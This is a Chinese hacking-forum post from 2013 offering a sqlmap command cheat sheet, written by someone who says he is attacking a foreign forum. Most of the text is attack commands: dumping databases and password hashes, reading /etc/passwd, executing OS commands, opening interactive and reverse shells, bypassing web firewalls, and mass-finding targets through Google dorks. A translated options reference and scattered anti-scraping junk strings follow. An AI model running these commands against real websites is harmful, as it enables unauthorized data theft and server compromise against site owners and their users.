中国网络渗透测试联盟
标题:
sqlmap注入命令的使用方法
[打印本页]
作者:
admin
时间:
2013-4-4 22:26
标题:
sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
8 H: ?4 i$ L5 W P8 U
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “
http://www.xxoo.com/news?id=1
″ –current-db #获取当前数 据库名称
5 O5 F6 y9 \! J
sqlmap -u “
http://www.xxoo.com/news?id=1
″ –tables -D “db_name”#列 表名
. Y( t; Q; C: R. k# |. _
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
$ ?4 n X3 H8 a
L4 f! U" o1 a! r, \" c6 ~
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
2 h" Z; b+ ~$ Z; [8 |4 K( h6 @
0 #获取字段内容
( @) N6 ]* _6 N. b5 m; @
, G* z( K0 G6 g7 f; m! ~8 S1 f3 V
******************信息获取******************
+ A; v9 I3 f6 b& Y3 N( J
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
7 h8 ^" O; x: y, |: C3 m
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
& J9 W* ~8 X- R, ^5 m
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
' G3 v: L6 u/ j7 a$ x: ]. y
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
* F; ^/ m/ A+ k# Z1 L( X1 z
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
- d9 v O5 i4 p
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
3 x+ l* ~; d/ l9 Y; t, Q3 T
–start 1 –stop 20 #列出指定字段,列出20 条
" u7 ?# z: s3 ]4 Y4 ^0 H+ C6 z1 F
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
. O3 g3 n0 a7 m7 ?/ W; W# }
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
) @8 T; ^: m9 C% t, p
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
( T- F/ N" J& `* F0 R6 F1 w. ?
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
0 z5 r' n3 U, q3 y: R7 k
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
- j; u, t8 N2 N; _1 v: e
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
# k' |8 x" j* U# L& @# i C
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
5 ?, \, |6 H8 g2 z( g
sqlmap -u “http://url/news?id=1″-b #获取banner信息
% H* j/ b* n. F0 ]
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
$ W+ s* {% v: B1 l- e/ _# K
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
; c0 y. M9 Z& ^, s! Z
sqlmap -u “http://url/news?id=1″ –proxy“
http://127.0.0.1:8118
” #代理注 入
" Z9 d; T# l5 Y F
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
+ S) ^& ]$ L, X. s; ]
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
" }+ g# Y# V M
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
- z) B- F" J: J9 b" z, T9 V/ D! a
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
* f& g, a) o/ s
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
2 b' K3 N& O4 }) L. ?
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
2 L, t) D2 g/ d1 m: \
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
5 U6 `4 S8 u% L& d7 r: Y
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
8 O9 `( ~& P2 j8 ~3 l X8 G
***********高级用法*************
* A9 k, s, g1 {5 o, C$ _
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
1 l7 ]" |9 c) r9 I
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
& t& \+ w% G$ h, D( R5 ?( J# }
–technique 测试指定注入类型\使用的技术
& T/ o0 C& ]1 s. C
不加参数默认测试所有注入技术
) K z& Y1 a3 W2 U
• B: 基于布尔的SQL 盲注
" \- ~& q4 j. p# Y# Y
• E: 基于显错sql 注入
" k6 G4 ^+ w) M* O7 |5 [
• U: 基于UNION 注入
& ^. T, |3 Q. T- [6 B/ Z
• S: 叠层sql 注入
) ~8 y$ {8 E: W% P# j6 E8 z
• T: 基于时间盲注
/ L# u$ v# g! q* `$ p
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
. h7 c' M4 l* D: s, C( Y
–tamper 插件所在目录
$ z8 K3 V' l2 }
\sqlmap-dev\tamper
5 b0 v' z: Q/ T, Y8 x' v
sqlmap -u “http://
www.2cto.com
/news?id=1″ –smart –level 3 –users # smart 智 能
4 W) l1 k' _0 V4 s4 o+ S
level 执行测试等级 攻击实例:
8 A2 d9 T2 O& j. l3 x! I
Sqlmap -u “http://url/news?id=1&Submit=Submit”
; G7 Q2 n! {5 p$ K1 \3 f' d3 |
–cookie=”PHPSESSID=41aa833e6d0d
( ]. H5 V! s' Q6 X1 n2 U7 k
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
& v+ S$ ]5 W3 \+ O: i
–password
& y4 A& b; A' L4 K: S, ?# v
参考文档:
http://sqlmap.sourceforge.net/doc/README.html
. ^: o& B/ c2 Z/ w3 E# K4 h
***********安装最新版本*************
+ ]6 l1 R/ @/ g5 \* _6 l7 C
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
! y& j5 M: \. m* ?
sudo svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
8 }# V4 ?* x) X# K
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
+ Q% q, Z; d* Z# H- l4 N
sudo vim /home/当前用户/.bashrc
6 A& @4 t& \$ e) v' \
#任意位置加上:
. a: z1 a* Q+ u4 K4 `! ^: }
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
5 s* N" ]' {! b# C; o' e9 v* K
如果想对所有用户有效 可设置全局 编辑下面的文件
/ |9 E9 l$ K1 z/ [) v& y- c
vim /etc/profile
2 j, f4 N! w+ B @ C
同样加上:
- ^, H0 i: J8 a3 J: T
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
! i8 u- y% Z- |$ m, |( N
******************windows 7 (x64) sqlmap install (SVN)************
( W9 k+ P: p a( | O" n2 [
http://www.python.org/getit/
安装python
' g" a; i6 b# R
http://www.sliksvn.com/en/download
安装windows svn client
! {' W7 E$ p" Y
svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
; n! r `1 T" `- H+ v2 Y3 M% @* F
安装sqlmap
! O6 U# j* p8 [5 b L
*修改环境变量
; A9 K& j1 ^& i1 f. C( b
–version 显示程序的版本号并退出
T/ ~1 `# I/ F, F
-h, –help 显示此帮助消息并退出
3 K( j8 N0 w) o# \7 \
-v VERBOSE 详细级别:0-6(默认为1)
0 G& P( O% i# q- w
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
! k" V, h/ W+ Z% f) P$ t
-d DIRECT 直接连接到数据库。
' x* A+ f1 m8 J* H
-u URL, –url=URL 目标URL。
8 ^- Z" g* V$ X. E
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
7 ]* b/ z8 P% ?( j2 n
-r REQUESTFILE 从一个文件中载入HTTP 请求。
6 w+ K9 ]3 R! j. M
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
" {$ l6 @4 F7 S5 \$ ]# D
-c CONFIGFILE 从INI 配置文件中加载选项。
5 I" L, L. Y! T" }
Request(请求)::
* S9 M9 g( q$ h- F u% l4 `
这些选项可以用来指定如何连接到目标URL。
' e( E6 o% P* b* N2 A7 l
–data=DATA 通过POST 发送的数据字符串
0 b$ K' T# c$ f; Z0 S5 c
–cookie=COOKIE HTTP Cookie 头
5 N; ^0 c/ _2 S! _7 O! ], K: R* p4 Q' j
–cookie-urlencode URL 编码生成的cookie 注入
& f) [* f3 Z3 Z. J% T' t _
–drop-set-cookie 忽略响应的Set –Cookie 头信息
+ r- o1 {' n3 w9 r' }9 r- R
. V7 g U+ ~* S9 O6 |
–user-agent=AGENT 指定 HTTP User –Agent 头
B* G& e+ k0 U, _
–random-agent 使用随机选定的HTTP User –Agent 头
1 W, [) Y# ]4 C$ }: t! L$ ]
–referer=REFERER 指定 HTTP Referer 头
5 p! z9 |9 s$ E# M# x, b& w# p) c
–headers=HEADERS 换行分开,加入其他的HTTP 头
0 u W6 g9 u$ ]
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
$ i i: V0 W2 `
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
% d- E" u9 T& |) a
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
/ g% Q. \ r! F* C
–proxy=PROXY 使用HTTP 代理连接到目标URL
- q9 C% {; ~2 S. t
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
5 O' h @& j" o& |* p; i
–ignore-proxy 忽略系统默认的HTTP 代理
( z! \ i, A9 f: x( R' A3 u
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
8 s) _* l% e( B, F* |
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
5 |+ `+ @+ A# E+ K: T7 n
–retries=RETRIES 连接超时后重新连接的时间(默认3)
- ?3 U& R+ R J0 y; M0 m7 [3 i
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
! D8 Y. K! N9 L. w3 `0 B0 T8 C6 N
–safe-url=SAFURL 在测试过程中经常访问的url 地址
( S# w! n# Y0 x1 G
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
/ Z8 D8 n: W4 p) |
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
' d& q7 j* s. d. F9 r2 W7 g
-o 开启所有优化开关
! B2 m5 w" D( Q% G% h" _4 d4 q ?
–predict-output 预测常见的查询输出
+ ^ N# z1 Z3 |8 K
–keep-alive 使用持久的HTTP(S)连接
; I: n3 L) \, R! m/ u, g
–null-connection 从没有实际的HTTP 响应体中检索页面长度
+ q {9 w( S4 l2 ?8 N
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
6 k, ?- ~0 r+ m5 _6 E
Injection(注入):
' N/ x* x( c. o U; q# j0 e* {3 `! \
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
: I: D, ?& ]3 ?% j$ q, d( ]
-p TESTPARAMETER 可测试的参数(S)
5 ? S8 A5 @ a% E {5 j( R
–dbms=DBMS 强制后端的DBMS 为此值
8 @0 R' `4 M$ `
–os=OS 强制后端的DBMS 操作系统为这个值
+ F* d! P1 V5 \, G3 {7 @# Q
–prefix=PREFIX 注入payload 字符串前缀
$ n: E- ], Q v2 z
–suffix=SUFFIX 注入 payload 字符串后缀
/ N5 S6 V9 h1 Z" F y0 J# _
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
. l/ E: F& q2 Z9 S) s
Detection(检测):
# R" V! L8 w; e( z+ ?8 x. W
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
. S; n- A. b% R- J
–level=LEVEL 执行测试的等级(1-5,默认为1)
, }' H* ^9 a1 C& `+ b6 I+ b3 c
–risk=RISK 执行测试的风险(0-3,默认为1)
1 Z5 F! }; q2 X; ?, @8 P% P- e K
–string=STRING 查询时有效时在页面匹配字符串
5 S* N4 Z; b9 I+ B6 G t: g
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
- x4 q( ~9 w6 _2 G! a% _
–text-only 仅基于在文本内容比较网页
- b1 R; O# r- b( _3 [
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
' l% Z* h+ {* O a
–technique=TECH SQL 注入技术测试(默认BEUST)
) s% l, Z* m$ l o
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
# }+ U: Z) W: V% z
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
a6 }5 V- A. S
–union-char=UCHAR 用于暴力猜解列数的字符
( G2 B- M, h' R% m' l
Fingerprint(指纹):
& `$ X" a# V D1 l6 q ]$ S
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
3 J4 y! A( x& A& Q
Enumeration(枚举):
1 ?) t3 q1 f7 l/ f: z0 f
S" z8 v# k6 L+ A) W2 B' M* |* W! f# s
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
: _) {4 |& s7 h3 @3 j$ A
-b, –banner 检索数据库管理系统的标识
% w& o: y+ J: ]# n! d
–current-user 检索数据库管理系统当前用户
; H/ H& H- c2 f% }: M a z1 I- O
–current-db 检索数据库管理系统当前数据库
1 s. g. E9 n" E
–is-dba 检测DBMS 当前用户是否DBA
: p- d, A# X6 J& L# g, W
–users 枚举数据库管理系统用户
6 x; r2 R7 s5 G- ^. B* V# w/ v
–passwords 枚举数据库管理系统用户密码哈希
6 H; `, |% m2 f' S
–privileges 枚举数据库管理系统用户的权限
5 `. E D* {+ V q6 e: L" m7 m
–roles 枚举数据库管理系统用户的角色
0 q8 d( s: |/ E: u. `3 s3 z" L
–dbs 枚举数据库管理系统数据库
L$ {( B5 J# y; d
–tables 枚举的DBMS 数据库中的表
* w/ d' @. E7 `- j
–columns 枚举DBMS 数据库表列
1 `$ v; V' Q9 O
–dump 转储数据库管理系统的数据库中的表项
. z ^8 G" M, W- W2 r+ n* p5 n
–dump-all 转储所有的DBMS 数据库表中的条目
) x) B. k0 j- g& G0 [# ~
–search 搜索列(S),表(S)和/或数据库名称(S)
# @& v; E$ o" k% ]; S
-D DB 要进行枚举的数据库名
Y( p y# @0 i$ M0 k* C2 |
-T TBL 要进行枚举的数据库表
. n/ ~, c6 i$ i( m3 q( I( t0 s
-C COL 要进行枚举的数据库列
: X/ O! A3 T. l+ L# ^9 E) Y
-U USER 用来进行枚举的数据库用户
+ P5 u; r& N9 T6 v0 I
–exclude-sysdbs 枚举表时排除系统数据库
W8 q# k6 E9 I# }: f1 V
–start=LIMITSTART 第一个查询输出进入检索
9 S* ^5 E' b& {' F1 ?$ D5 z
–stop=LIMITSTOP 最后查询的输出进入检索
$ n+ A. q2 |0 p% o
–first=FIRSTCHAR 第一个查询输出字的字符检索
3 \8 H' _7 }! Q8 c# @* @& N, P; W
–last=LASTCHAR 最后查询的输出字字符检索
0 E' V( K- n$ j, `% W
–sql-query=QUERY 要执行的SQL 语句
- S# |) ?8 i" Z/ N
–sql-shell 提示交互式SQL 的shell
7 \' o( M8 c! r6 J, w( t: _' M) ]
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
1 t" |* t* T) F
–common-tables 检查存在共同表
! `5 e1 O" |3 }. I5 z
–common-columns 检查存在共同列
2 a# x2 i: ~+ ~+ T" l- {. W
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
$ a! ?/ s$ r% w" R: t
–udf-inject 注入用户自定义函数
8 J+ a) M; d2 a, J$ G
–shared-lib=SHLIB 共享库的本地路径
7 ^( G6 w7 \# Z$ H4 ]) i0 q2 z
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
7 n+ q& u$ j4 }9 U, h# W' f
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
6 s0 c! R2 A7 H, r' \5 p# |( m( ?
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
5 P) k8 L* O7 m/ ~* ~- F# a$ u* S& e
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
+ x% a1 A* u- c+ _5 t
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
9 B$ }- k& s0 M; l8 c* _
–os-cmd=OSCMD 执行操作系统命令
! X( [- I8 m, M
–os-shell 交互式的操作系统的shell
! H) o" P2 m2 ]* h6 g& S9 w) W
–os-pwn 获取一个OOB shell,meterpreter 或VNC
# {; p3 c6 p! a& ?/ m
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
/ h" L: t+ K1 D1 ~' x
–os-bof 存储过程缓冲区溢出利用
9 q4 z; g! d+ G7 p; l$ l: E' R
–priv-esc 数据库进程用户权限提升
5 ] z8 Q3 w$ d9 h' E" M
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
: @# h- A* f$ u7 F/ r& S2 i
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
* j! `* p$ X2 K: l; Y8 F a
0 B$ Q; o& f ~
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
* ]3 B9 N R2 @2 o. O
–reg-read 读一个Windows 注册表项值
8 I! ^) N1 [3 G
–reg-add 写一个Windows 注册表项值数据
/ ?8 ^4 `+ O$ Z% L, A
–reg-del 删除Windows 注册表键值
) y6 G( Y4 B+ `2 U
–reg-key=REGKEY Windows 注册表键
% n4 O0 H1 ], g! f7 T* U
–reg-value=REGVAL Windows 注册表项值
( `) D; \0 Q/ v2 R5 y( _# k
–reg-data=REGDATA Windows 注册表键值数据
8 P, m1 @7 q: S3 n, j# K" _! J- M
–reg-type=REGTYPE Windows 注册表项值类型
$ e& s: g( d, A3 X
General(一般): 这些选项可以用来设置一些一般的工作参数。
4 ]# j2 q8 J& y3 V' }+ n# t) Y
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
, j- V6 f5 l- H# E1 G' m
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
4 }& f( I! e3 P" t: U& Y( V
–flush-session 刷新当前目标的会话文件
1 J4 R! C7 a5 M6 S* N& S- I2 _
–fresh-queries 忽略在会话文件中存储的查询结果
- z3 k) U: d; X6 N M
–eta 显示每个输出的预计到达时间
- @2 R( B1 B- m& s) Q
–update 更新SqlMap
i9 w& E+ @! o+ ^; b% H7 Q* |& T
–save file 保存选项到INI 配置文件
S( s( ^# k# g7 {
–batch 从不询问用户输入,使用所有默认配置。
% r }/ ^+ v! ^, Q) r
Miscellaneous(杂项):
2 s. b/ ?# ? A( M: A1 B+ Z
–beep 发现SQL 注入时提醒
6 g' [+ {9 S' M0 L! J
–check-payload IDS 对注入payloads 的检测测试
4 L: i' b" }" B; \ b6 t$ u u
–cleanup SqlMap 具体的UDF 和表清理DBMS
9 K0 A/ Y0 f7 z( u3 k& m; ]4 G
–forms 对目标URL 的解析和测试形式
- C7 X3 B1 G2 K0 e: A
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
4 m& h# V! Y3 W' w0 M
–page-rank Google dork 结果显示网页排名(PR)
5 C9 \8 L6 {- E) D4 o
–parse-errors 从响应页面解析数据库管理系统的错误消息
4 g- i) \* @# m4 j4 Q
–replicate 复制转储的数据到一个sqlite3 数据库
r1 W: [$ N# s9 K
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
( ^& ^0 q; X3 [' O
–wizard 给初级用户的简单向导界面
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2